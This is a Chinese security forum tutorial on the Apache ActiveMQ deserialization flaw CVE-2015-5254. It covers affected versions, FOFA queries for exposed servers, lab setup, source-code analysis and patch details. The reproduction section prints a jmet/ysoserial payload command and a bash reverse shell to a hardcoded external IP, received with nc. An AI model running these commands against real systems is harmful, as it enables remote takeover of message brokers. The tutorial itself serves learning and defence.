用户
搜索
  • TA的每日心情
    开心
    2021-6-2 18:57
  • 签到天数: 18 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    14

    主题

    41

    帖子

    784

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2019-4-17

    i春秋签约作者

    发表于 2021-5-24 10:45:12 76617
    本帖最后由 精通linux开关机 于 2021-5-24 10:50 编辑

    内网技能储备(CVE-2015-5254)

    一、简介

    ​        ​        Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

    ​        ​        Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

    ​        ​        2015年12月8日,国外安全研究人员pwntester等人曝光Apache ActiveMQ 存在反序列化漏洞,远程攻击者使用特定Gadget可进行反序列化攻击,在受影响系统上实现执行远程代码(CVE-2015-5254)。

    二、漏洞影响

    ​        ​        漏洞影响版本:Apache ActiveMQ 5.0.0 ~ 5.12.1
    ​        ​        在 FOFA上用 titleserver 作为关键词检索,如:title="Apache ActiveMQ" && server="Jetty(8.1.16.v20140903)",筛选出2014年发布的较老版本,例如:Apache ActiveMQ  5.11.1

    互联网上老版本ActiveMQ 的总量情况,如下图所示:

    f1.png

    ​        ​        当我们不限制Apache ActiveMQ 版本号,可以看到,互联网上存活的ActiveMQ数量可观,从这我们大致可猜测,漏洞爆发后许多老版本ActiveMQ采取升级或取消来自公网访问等措施。

    互联网上各版本ActiveMQ 总量测绘,如下图所示:

    f2.png

    三、环境搭建

    ​        ​        下载 ActiveMQ 5.7.0 发布版本:

    ​        ​        http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/apache-activemq-5.7.0-bin.tar.gz

    ​        ​        下载 ActiveMQ 5.7.0 源码:

    ​        ​        http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/activemq-parent-5.7.0-source-release.zip

    ​        ​        准备JDK环境:

    apache-activemq-5.0.0 1.5.0_12 1.5+
    apache-activemq-5.1.0 1.5.0_12 1.5+
    apache-activemq-5.2.0 1.5.0_15 1.5+
    apache-activemq-5.3.0 1.5.0_17 1.5+
    apache-activemq-5.4.0 1.5.0_19 1.5+
    apache-activemq-5.5.0 1.6.0_23 1.5+
    apache-activemq-5.6.0 1.6.0_26 1.5+
    apache-activemq-5.7.0 1.6.0_33 1.5+
    apache-activemq-5.8.0 1.6.0_37 1.5+
    apache-activemq-5.9.0 1.6.0_51 1.5+
    apache-activemq-5.10.0 1.7.0_12-ea 1.7+
    apache-activemq-5.11.0 1.7.0_60 1.7+
    apache-activemq-5.12.0 1.7.0_80 1.7+
    apache-activemq-5.13.0 1.7.0_80 1.7+
    apache-activemq-5.14.0 1.7.0_80 1.7+
    apache-activemq-5.15.0 1.8.0_112 1.8+

    ​        ​        启动apache activemq

    cd activeMQ/apache-activemq-5.7.0/bin
    ./activemq start

    ​        ​        检验是否运行

    netstat -an | grep 61616

    运行成功,执行效果如下图所示:
    f3.png

    访问  http://127.0.0.1:8161/,如下图所示

    f4.png

    ​        ​        ActiveMQ默认口令admin/admin,MQ队列默认端口61616,web默认端口8161,Nmap扫描默认不包含这两端口。

    ActiveMQ使用默认口令登录,效果如下图所示:
    f5.png

    四、漏洞原理

    ​        ​        ActiveMQ设计目标为:提供标准的,面向消息的,能够跨越多语言和多系统的应用集成消息通信中间件。ActiveMQ依据JMS标准实现,使用JMX 接口可以编程的方式操作ActiveMQ,比如与Broker交互,查询各种Broker状态、统计数据,浏览连接、消费者、生产者,以及管理消息。

    ​        ​        使用JMX接口可传递JMS Object消息,因为依赖于Java序列化来封送/还原消息payload,ActiveMQ存在若干地方因未过滤危险调用,可发生反序列化非法调用。例如在Web控制台查看队列,或使用Stomp协议进行对象消息转换。

    ​        ​        此漏洞不仅使得代理人Broker(MQ队列)受到攻击,使用ObjectMessage消息的应用程序也可被攻击,因为它们在ObjectMessage.getObject()调用中也将发生反序列化。

    左图为生产者消息事务流程图,右图为消费者消息事务流程图:

    f6.png

    ​        ​        ActiveMQ启动后将处于监听状态,翻看生产者发送消息对应源码文件jmet.jar!de.codewhite.jmet.target.impl.ActiveMQTarget#init()

    生产者发送消息,具体代码如下:

    jmet.jar!de.codewhite.jmet.target.impl.ActiveMQTarget#init()
    
    try {
                factory = new ActiveMQConnectionFactory("tcp://" + getHost() + ":" + getPort());
                connection = factory.createConnection(getUser(), getPassword());
    
                session = connection.createSession(false, ActiveMQSession.AUTO_ACKNOWLEDGE);
    
                switch (getDestType()) {
                    case QUEUE:
                        dest = new ActiveMQQueue(getDestination());
                        break;
                    case TOPIC:
                        dest = new ActiveMQTopic(getDestination());
                        break;
                }
                producer = session.createProducer(dest);
                connection.start();
    } catch (JM**ception e) {
                throw new InitException(e.fillInStackTrace());
    }

    ​        ​        当在ActiveMQ 控制台进行点击查看消息,其对应源码文件\activemq-parent-5.7.0\activemq-web-console\src\main\webapp\message.jsp

    message.jsp具体代码如下:

    \activemq-parent-5.7.0\activemq-web-console\src\main\webapp\message.jsp
    line 158-171
    <table id="body" width="100%">
                                    <thead>
                                            <tr>
                                                    <th>
                                                        Message Details
                                                    </th>
                                            </tr>
                                    </thead>
                                    <tbody>
                                            <tr>
                                                    <td><div class="message"><pre class="prettyprint"><c:out value="${requestContext.messageQuery.body}"/></pre></div></td>
                                            </tr>
                                    </tbody>
                            </table>

    跟进messageQuery.java,具体代码如下:

    \activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\activemq-core\src\main\java\org\apache\activemq\broker\region\policy\MessageQuery.java
    line 75-92
    public Object getBody() throws JM**ception {
            Message message = getMessage();
            if (message instanceof TextMessage) {
                return ((TextMessage) message).getText();
            }
            if (message instanceof ObjectMessage) {
                try {
                    return ((ObjectMessage) message).getObject();
                } catch (JM**ception e) {
                    //message could not be parsed, make the reason available
                    return e;
                }
            }
        if (message instanceof MapMessage) {
            return createMapBody((MapMessage) message);
        }
        return null;
    }

    跟进 ObjectMessage.getobject(),其具体实现为ActiveMQObjectMessage,具体代码如下:

    \activemq-parent-5.7.0-source-release\activemq-parent-5.7.0\activemq-core\src\main\java\org\apache\activemq\command\ActiveMQMessage.java
    line 174-196 
    public class ActiveMQObjectMessage extends ActiveMQMessage implements ObjectMessage {
    ...
        public Serializable getObject() throws JM**ception {
            if (object == null && getContent() != null) {
                try {
                    ByteSequence content = getContent();
                    InputStream is = new ByteArrayInputStream(content);
                    if (isCompressed()) {
                        is = new InflaterInputStream(is);
                    }
                    DataInputStream dataIn = new DataInputStream(is);
                    ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
                    try {
                        object = (Serializable)objIn.readObject();
                    } catch (ClassNotFoundException ce) {
                        throw JM**ceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
                    } finally {
                        dataIn.close();
                    }
                } catch (IOException e) {
                    throw JM**ceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
                }
            }
            return this.object;
        }
    ...
    }
    

    ​        ​        综上,点击漏洞触发流程如下: message.jsp->MessageQuery.getBody()->ActiveMQObjectMessage.getObject()->datainput.readObject()

    五、漏洞复现

    ​        ​        反序列化漏洞利用需使用Gadgetysoserial.jar内含多套Gadget。此处漏洞复现可以使用jmet.jar,在同目录下创建external文件夹(解决文件夹不存在的错误)。

    ​        ​        其中jmet.jar已自带ysoserial,封装了一套代码,可生成Payload并连接MQ发送,具体代码见上文分析。

    ​        ​        使用如下命令:java -jar jmet-0.1.0-all.jar -Q alice -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.16.33.157 61616

    ​        ​        上述命令,-Q为插入alice的队列,-I为选择装载ActiveMQ攻击模块 -s  为选择ysoserial payload -Y 为攻击模式和内容 -Yp  为选择攻击利用链ROME,也可以选中其他Gadget

    ​        ​        操作较简单,分3步:

    ​        ​        1.使用jmet快速生成恶意序列化对象。

    ​        ​        2.发序列化对象到MQ-61616端口,消息插入队列。

    ​        ​        3.访问Web管理界面,读取消息触发反序列化漏洞点,Gadget执行。

    jmet.jar执行效果,如下图所示:
    f7.png

    访问alice队列,根据消息ID可以找到对应的记录,效果如下图所示:

    f8.png

    点击队列触发,效果如下图所示:

    f9.png

    反弹shell命令需要bash编码,命令如下:

    bash -i >& /dev/tcp/82.156.196.160/23456 0>&1
    bash -c {echo,BASE64-COMMAND}|{base64,-d}|{bash,-i}
    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "编码后的反弹命令" -Yp ROME VPS-IP 61616

    命令执行效果,如下图所示:

    f10.png

    ​        ​        在对应VPS上,使用NC命令接收Shell,即可完成RCE。

    六、漏洞防护方案

    ​        ​        1、该漏洞在 5.13.0 及其以后版本,对反序列化危险类进行了过滤。改动ClassLoadingAwareObjectInputStream#resolveClass()ClassLoadingAwareObjectInputStream#resolveProxyClass()在具体实现中调用 checkSecurity()检查,如序列化的对象不在白名单类清单内,将抛出异常。

    ​        ​        允许反序列化的类需要在系统清单中声明,系统清单位置:org.apache.activemq.SERIALIZABLE_PACKAGES
    默认清单:

            java.lang
            java.util
            org.apache.activemq
            org.fusesource.hawtbuf
            com.thoughtworks.xstream.mapper

    新增白名单检查checkSecurity(),代码如下:

      private void checkSecurity(Class clazz) throws ClassNotFoundException {
            if (!clazz.isPrimitive()) {
                if (clazz.getPackage() != null && !isAllAllowed()) {
                   boolean found = false;
                   for (String packageName : getSerialziablePackages()) {
                       if (clazz.getPackage().getName().equals(packageName) || clazz.getPackage().getName().startsWith(packageName + ".")) {
                           found = true;
                           break;
                       }
                   }
    
                   if (!found) {
                       throw new ClassNotFoundException("Forbidden " + clazz + "! This class is not allowed to be serialized. Add package with 'org.apache.activemq.SERIALIZABLE_PACKAGES' system property.");
                   }
                }
            }
        }

    更多代码改动细节见:https://github.com/apache/activemq/commit/e7a4b53f799685e337972dd36ba0253c04bcc01f.

    ​        ​        2、自定义账号密码,避免使用默认密码,有两处密码,jetty密码与MQ队列密码。

    <!-- ActiveMQ里内嵌的jetty的安全配置   -->
    <!-- 1.conf/jetty.xml 启用密码认证 -->
    <property name="authenticate" value="true" />
    ...
    <bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
        <property name="name" value="BASIC" />
        <property name="roles" value="admin" />
        <property name="authenticate" value="true" />
    </bean>
    
    <!-- 2.conf/jetty-realm.properties 添加自定义账号密码 -->
    # Defines users that can access the web (console, demo, etc.)
    # username: password [,rolename ...]
    admin: admin, admin
    
    <!-- alicemq.xml 添加访问ActiveMQ的账号密码 -->
            <plugins>
                    <simpleAuthenticationPlugin>
                            <users>
                                    <authenticationUser username="alice" password="123456" groups="users,admins"/>
                            </users>
                    </simpleAuthenticationPlugin>
            </plugins>
    发表于 2021-5-27 15:46:17
    66666666666666
    使用道具 举报 回复
    看看看看
    使用道具 举报 回复
    这个对新手来说太深奥了 努力学习
    使用道具 举报 回复
    发表于 2021-6-4 14:14:43
    跟大佬学习学
    使用道具 举报 回复
    发表于 2021-6-5 23:30:52
    帮顶                    
    使用道具 举报 回复
    发表于 2021-6-7 13:01:31
    学会操作了
    使用道具 举报 回复
    学习了
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册